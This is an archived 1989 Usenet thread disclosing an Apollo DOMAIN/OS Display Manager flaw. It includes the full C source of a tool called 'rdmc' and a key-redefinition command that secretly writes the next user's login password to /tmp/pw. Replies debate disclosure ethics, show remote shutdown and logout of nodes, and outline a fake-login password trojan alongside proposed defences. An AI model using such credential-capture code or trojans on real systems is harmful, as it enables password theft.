plipp@tugiaik.UUCP (Peter Lipp) (08/08/89)
__________________________________________________________________
Possible Security Problem with DOMAIN-OS and the Display-Manager
__________________________________________________________________
The following Program shall be called rdmc:
/* rdmc.c - execute display manager command */
#include <apollo/base.h>
#include <apollo/pad.h>
#include <apollo/ios.h>
status_$t status;
pad_$window_desc_t window={0,1000,20,20};
ios_$id_t stream;
void init();
main (argc,argv)
int argc;
char *argv[];
{
pad_$create_window((char *)0,0,pad_$transcript,1,window,&stream,&status);
pad_$make_invisible(stream,1,&status);
pad_$set_auto_close(stream,1,true,&status);
pad_$dm_cmd(stream,argv[1],strlen(argv[1]),&status);
}
Now log into some machine X from some other machine Y via telnet, crp or similar
and enter following command:
rdmc "kd cr en;dr;kd cr xc -f '/tmp/pw' ;en;kd cr en ke ke ke"
If currently no user was logged in at the display, the next time some user will log in
his password will unnoticed and secretly be well-readable in file /tmp/pw - whow!
Is'nt that great - what a system security!
Has this problem been discussed on the net before?
Has there been a proposed solution????
Apollo-Austria has not heard before of this problem.
Please put pressure on Apollo to immediately solve it. This program has been written
by one of our students - who was so kind to present it and not misuse it. But there
might be others.
If you post an answer or similar concerning this posting, please mail it to me too,
because we are not on the news-net.
Peter Lipp - Institute for Applied Information Processing
University of Technology, Graz, Austria
plipp@tugiig.uucp - plipp@tugiig.at - mcvax!tuvie!tugiig!plipp
--
Peter Lipp - Institute for Applied Information Processing
University of Technology, Graz, Austria
plipp@tugiig.uucp - plipp@tugiig.at - mcvax!tuvie!tugiig!plippsakas@cwi.nl (Vassilis Sakas) (08/08/89)
In article <108@tugiaik.UUCP> plipp@tugiaik.UUCP (Peter Lipp) writes: > >__________________________________________________________________ > >Possible Security Problem with DOMAIN-OS and the Display-Manager >__________________________________________________________________ > > LINES DELETED > Usually, security bugs don't have to be announced SO open in the net. Your student didn't misuse this programm, but imagine how many other persons are now able to do it after your posting. Please be more carefull the next time. Waiting for the bug fix, Vassilis Sakas, A part-time system administrator on Apollos. E-mail: sakas@zgdvda.uucp
plipp@tugiaik.UUCP (Peter Lipp) (08/09/89)
In article <108@tugiaik.UUCP>, plipp@tugiaik.UUCP (Peter Lipp) writes: > > Possible Security Problem with DOMAIN-OS and the Display-Manager > Keith Dawson of Apollo/Hp writes in another article: > We regret the broad dissemination of detailed instructions for exploiting > a security hole. I answered him as follows: > I personally do not think and hope that my posting will do considerable harm. My opinion is that > the best way to prevent the misuse of such holes is to publish them so that everybody > is aware of the problem. I now there might occur situations where the wrong people might > become aware and the right people might not. > > I think there might be lots of users out there not going to change to 10.2 and not knowing and > getting the patches automatically. And there might be other smart students or users who > find out about this possibility and misuse it. This I consider the worse case. > > Furtheron you might have informed at least local representatives to enable them to > answer my inquiries about a month ago. If they had known about the problem, I surely would > not have posted that stuff. > I would like to hear from you what you think about this - do you prefer to know about existing security bugs or do you prefer not to be aware of. There is an easy but tedious way to prevent this until the August 1989 patch tape is available (here, in Austria, in September): Just type in a wrong password. This should do for a while. Then check if your keyboard has been redefined and change your password immediately. Are there any better suggestions out there? I truely hope not having caused troubles somewhere, which I would regret. Please post your reactions - and send a copy by email to me directly. Peter Peter Lipp - Institute for Applied Information Processing University of Technology, Graz, Austria plipp@tugiig.uucp - plipp@tugiig.at - mcvax!tuvie!tugiig!plipp -- Peter Lipp - Institute for Applied Information Processing University of Technology, Graz, Austria plipp@tugiig.uucp - plipp@tugiig.at - mcvax!tuvie!tugiig!plipp
collins@nvpna1.prl.philips.nl (Donal O'Coileain) (08/09/89)
In article <109@tugiaik.UUCP> plipp@tugiaik.UUCP (Peter Lipp) writes: > I personally do not think and hope that my posting will do considerable harm. > the best way to prevent the misuse of such holes is to publish them so that > everybody is aware of the problem. By posting the source code you simply encouraged every user to try it. It would have been much more responsible of you to simply warn the net, leave Apollo have the source code and let them decide who was allowed to see it. > Furtheron you might have informed at least local representatives to enable > them to > answer my inquiries about a month ago. If they had known about the problem, > I surely would > not have posted that stuff. OUR local representatives WERE aware of the sr9.7 and pending sr10.1 patch. I say pending because we don't have the August sr10 tape yet in Holland. Donal O Coileain. collins@apolloway.prl.philips.nl or collins%nvpna1.prl.philips.nl@uunet.uu.nl -- And out of the gloom a voice said, 'Smile and be happy for things could be a lot worse'. So I smiled and was happy and behold, things got worse --
frank@CAEN.ENGIN.UMICH.EDU (Randy Frank) (08/09/89)
I have mixed feeling about the publishing of security holes; it certainly can make life difficult for those with vulnerable systems until patches are found. However, it also causes patches to be found a lot faster! In the case of Apollo we have regularly complained that way too much Apollo security is "security through obscurity" as opposed to enforced security in the kernel. (The fact that the patches proposed are being made to libraries instead of the kernel leads me to believe that the underlying hole is still there, just made more difficult, i.e., obscure, to exploit.) The fact that Apollo often relies on unpublished interfaces as a way of providing "security" is simply not acceptable. While the standard Unix kernel is by no means fully secure, at least there are no known cases where something is considered secure simply because a hole is unpublished. Apollo needs to provide security that's at least as good as "standard" Unix, which means at a minimum means not viewing unpublished interfaces as secure. Randy Frank
GBOPOLY1@NUSVM.BITNET (fclim) (08/14/89)
I like to put my 2 cents into this.
I have discovered rdmc on my own before Peter Lipp announced it.
It was kind of experimental and I use it once in a while to shut all
nodes in the ring:
% foreach x (//*)
rsh $x:t rdmc shut
end
or use it to log out someone (I was experimenting with a time-quota
in a similar sense as a disk-qouta):
% rsh node rdmc "lo -on; lo"
I have never thought of the convoluted DM command:
> rdmc "kd cr en;dr;kd cr xc -f '/tmp/pw' ;en;kd cr en ke ke ke"
to crowbar the passwd right under the user's nose.
I am new to programming with Aegis system calls; and I don't spend
much time writing such programs 'cos I'd rather use Unix calls instead.
If I can write rdmc, I am sure others better than myself are able to
do so, whether Peter has submitted the source or not.
Peter has done us a great service by publishing the source; it
shows that
*** the DM is either too powerful or too loose. ***
Apollo oughta scale it down by removing certain commands from it
or checking the SID/ACLs on the commands.
/**********************************************************/
I like to share a couple of ideas I have for some time now.
They concern trojan horses.
On vanilla Unix w/o a windowing system like Apollo DM (ie only a
glass tty is available) (eg Xenix on an IBM PC w/o X), it is easy
to write a trojan horse. The
trojan (shell script or otherwise) displays a login prompt inviting
users to log in. Whether it logs in the user or not, it will
capture the passwd.
It is possible to imitate the Apollo login screen for the purpose of
capturing passwds by using gpr_$borrow mode and pad_$dm_cmd() call.
The latter call (pad_$dm_cmd) is not used to log in the user (because
it can't be done), but is used to call the DM command msg to print
the "wrong passwd" message on the DM output pad. There are still some
more work to be done to avoid arousing the user; but I believe I can
produce a program to trick some of the people (especially naive
novices) some of the time.
I have 2 solutions. The first one uses the behavior of init(8), the
Adam and Eve process found in Unix and recently in Domain/OS. On a
successful login, init spawn a shell and then it (init) goes to
sleep. At logout, init awakes and waits upon another login(1).
(This is roughly what happens; I have left out all the juicy parts).
The idea is to have a front-panel LED to reflect the status of init.
When no one is logged in on that node, init is awake and the LED lights
up or blinks. If the LED is not blinking, either the LED had KOed or
someone has logged in and left a trojan; users log in at their
own risk. No system call can turn this LED on.
The 2nd idea is to throw out gpr_$borrow mode in a sense. Applications
may still enter into borrow mode; but instead of 1024 by 800, only
1024 by 780 pixels are writable. Thus, no one can write codes to
imitate the DM input pad. System calls should be available to blacken
this portion or to send text to this portion. For the latter purpose,
the portion is treated as a one-line glass tty: text appears in this
region in the same manner as the electronic billboards (whatChaCallIt?)
found in Manhattan's Time Square or Wall Street where the text scroll
horizontally. Commands like send_alarm, wall(1), write(1) attempt to
create a pad; on failure, they writes to the bottom of the borrowed
screen.
fclim --- gbopoly1 % nusvm.bitnet @ cunyvm.cuny.edu
computer centre
singapore polytechnic
dover road
singapore 0513.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Add your pet peeve
If we think really hard, maybe we can stop this ____!
No ____! No ____! No ____!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Self-adhesive labels with following note:
___ If this is not blinking,
/ log in at your own risk.
/
v
are on sale at 10 cents a piece. Residents of the People's Republic
of Massachusetts, please add state tax.